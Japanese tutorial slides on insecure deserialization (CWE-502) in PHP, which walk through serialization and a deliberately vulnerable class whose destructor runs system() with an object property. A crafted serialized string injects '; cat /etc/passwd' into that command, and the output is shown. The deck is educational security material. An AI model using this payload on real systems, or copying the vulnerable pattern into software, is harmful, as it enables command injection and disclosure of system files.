introduction to unsafe deserialization part1

372 Views

April 14, 20

スライド概要

安全でないデシリアライゼーション入門基礎編です。PHPを前提として、クラスのコンストラクタ・デストラクタ、シリアライズ・デシリアライズから、脆弱なスクリプトと攻撃方法までを解説します

profile-image

徳丸本の中の人 OWASP Japanアドバイザリーボード EGセキュアソリューションズ取締役CTO IPA非常勤職員 YouTubeチャンネル: 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study

シェア

またはPlayer版

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

安全でないデシリアライゼーション(CWE-502)入門 ~基礎編~ EGセキュアソリューションズ株式会社 代表取締役 徳丸 浩

3.

OWASP Top 10 – 2017 の内容 項番 内容 A1 インジェクション A2 A3 A4 A5 A6 認証の不備 機微な情報の露出 XML外部エンティティ参照(XXE) アクセス制御の不備 不適切なセキュリティ設定 A7 クロスサイトスクリプティング(XSS) A8 安全でないデシリアライゼーション A9 既知の脆弱性のあるコンポーネントの使用 A10 不十分なロギングとモニタリング New 3

4.

安全でないデシリアライゼーション(CWE-502)とは • クッキー等からシリアライズデータを送り込み、任意のオブジェクトを メモリ内に生成 • オブジェクトが破棄されるタイミングでデストラクタが実行される • オブジェクトを巧妙に組み合わせることにより、攻撃を実行 © 2016-2020 Hiroshi Tokumaru 4

5.

PHPのコンストラクタ・デストラクタ超入門 © 2016-2020 Hiroshi Tokumaru 5

6.

クラス・コンストラクタ・デストラクタ <?php class A { public function __construct() { echo "** コンストラクタ実行\n"; } public function __destruct() { echo "** デストラクタ実行\n"; } // コンストラクタ // コンストラクタはnewの際に呼ばれる // デストラクタ // デストラクタはオブジェクトが開放された // 際に呼ばれる } echo "** プログラム開始\n"; $a = new A(); echo "** プログラム終了\n"; © 2016-2020 Hiroshi Tokumaru 6

7.

クラス・コンストラクタ・デストラクタ <?php class A { public function __construct() { echo "** コンストラクタ実行\n"; オブジェクトが参 照されなくなると デストラクタが実 行される } public function __destruct() { echo "** デストラクタ実行\n"; 実行結果 } } echo "** プログラム開始\n"; $a = new A(); echo "** プログラム終了\n"; ** ** ** ** プログラム開始 コンストラクタ実行 プログラム終了 デストラクタ実行 © 2016-2020 Hiroshi Tokumaru 7

8.

シリアライズ入門 © 2016-2020 Hiroshi Tokumaru 8

9.

シリアライズとは? • serializeは「一列にする」という意味 • シリアライズは、オブジェクトや配列など、構造を持ったデータを 「バイト列」に変換して、伝送や蓄積しやすい形式にすること • デシリアライズは、シリアライズしたバイト列を元に戻すこと © 2016-2020 Hiroshi Tokumaru 9

10.
[beta]
以下のクラスをシリアライズしてみる
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __destruct() {
echo "** {$this->name}は破棄されました\n";

}
}
$b = new B('hoge');
echo serialize($b), PHP_EOL;

// オブジェクトに名前をつける

// デストラクタを確認

実行結果
O:1:"B":1:{s:4:"name";s:4:"hoge";}
** hogeは破棄されました

シリアライズ結果
© 2016-2020 Hiroshi Tokumaru

10

11.
[beta]
先の結果をデシリアライズする
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name;
実行結果
}
public function __destruct() object(B)#1
{
echo "** {$this->name}は破棄されました\n";
}

生成されたオブジェクト

(1) {
["name"]=>
string(4) "hoge"

}
}
$s = 'O:1:"B":1:{s:4:"name";s:4:"hoge";}';
** hogeは破棄されました
var_dump(unserialize($s));

デストラクタが実行された
© 2016-2020 Hiroshi Tokumaru

11

12.

デシリアライズの問題点 • 振り返り – シリアライズ: オブジェクトや配列などをバイト列に変換する – デシリアライズ: シリアライズ結果から元の形式に戻すこと • 外部から受け取ったバイト列をデシリアライズすると、任意のクラス のオブジェクトが作れる • ただし、クラスは既存のものに限る • オブジェクトをデシリアライズすると、最終的にオブジェクトのデス トラクタが呼ばれる • デストラクタによって悪いことができる場合がある • 攻撃にあたっては、既存のクラス定義の中で「どこまでできるか」が 問題になる © 2016-2020 Hiroshi Tokumaru 12

13.
[beta]
脆弱なスクリプト例(極端な例…まずはシリアライズ側)
<?php
class C { // 指定したメールアドレスにデストラクタでメール送信する
public $mail;
public function __construct($mail) {
実行結果
$this->mail = $mail;
O:1:"C":1:{s:4:"mail";s:16:
}
"alice@example.jp";}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
シリアライズ結果
}
$c = new C('alice@example.jp');
echo serialize($c), PHP_EOL;
© 2016-2020 Hiroshi Tokumaru

13

14.
[beta]
脆弱なスクリプト例(デシリアライズ側:正常系)
<?php
実行結果
class C {
object(C)#1 (1) {
public $mail;
["mail"]=>
public function __construct($mail) {
string(16) "alice@example.jp"
}
$this->mail = $mail;
}
デシリアライズ結果
このメールアドレスにメール送信される
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:16:"alice@example.jp";}';
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru

14

15.
[beta]
脆弱なスクリプト例(デシリアライズ側: 攻撃例)
<?php
実行結果
class C {
object(C)#1 (1) {
public $mail;
["mail"]=>
public function __construct($mail) {
string(17) "; cat /etc/passwd"
}
$this->mail = $mail;
}
デシリアライズ結果。この結果が下記
が実行される
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
system("/usr/sbin/sendmail ; cat /etc/passwd < ./template.txt
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:17:"; cat /etc/passwd";}';
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru

15

16.
[beta]
/etc/passwd が表示された
object(C)#1 (1) {
["mail"]=>
string(17) "; cat /etc/passwd"
}
sendmail: fatal: ockeghem(1000): Recipient addresses must be
specified on the command line or via the -t option
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# 以下略
© 2016-2020 Hiroshi Tokumaru

16

17.

安全でないデシリアライゼーション(CWE-502)とは(再掲) • クッキー等からシリアライズデータを送り込み、任意のオブジェクトを メモリ内に生成 • オブジェクトが破棄されるタイミングでデストラクタが実行される • オブジェクトを巧妙に組み合わせることにより、攻撃を実行 © 2016-2020 Hiroshi Tokumaru 17

18.

次のステップに向けて • 安全でないデシリアライゼーションの攻撃方法をわかりやすい例で説 明しました • わかりやすい代わりに、ちょっと「わざとらしい」ですね! わざとらしくない例は次回説明する予定です • チャンネル登録してお待ち下さい (_ _) 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study © 2016-2020 Hiroshi Tokumaru 18

19.

徳丸浩へのお仕事の依頼は EGセキュアソリューションズ株式会社まで https://www.eg-secure.co.jp/ チャンネル登録お願いします 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study © 2020 Hiroshi Tokumaru 19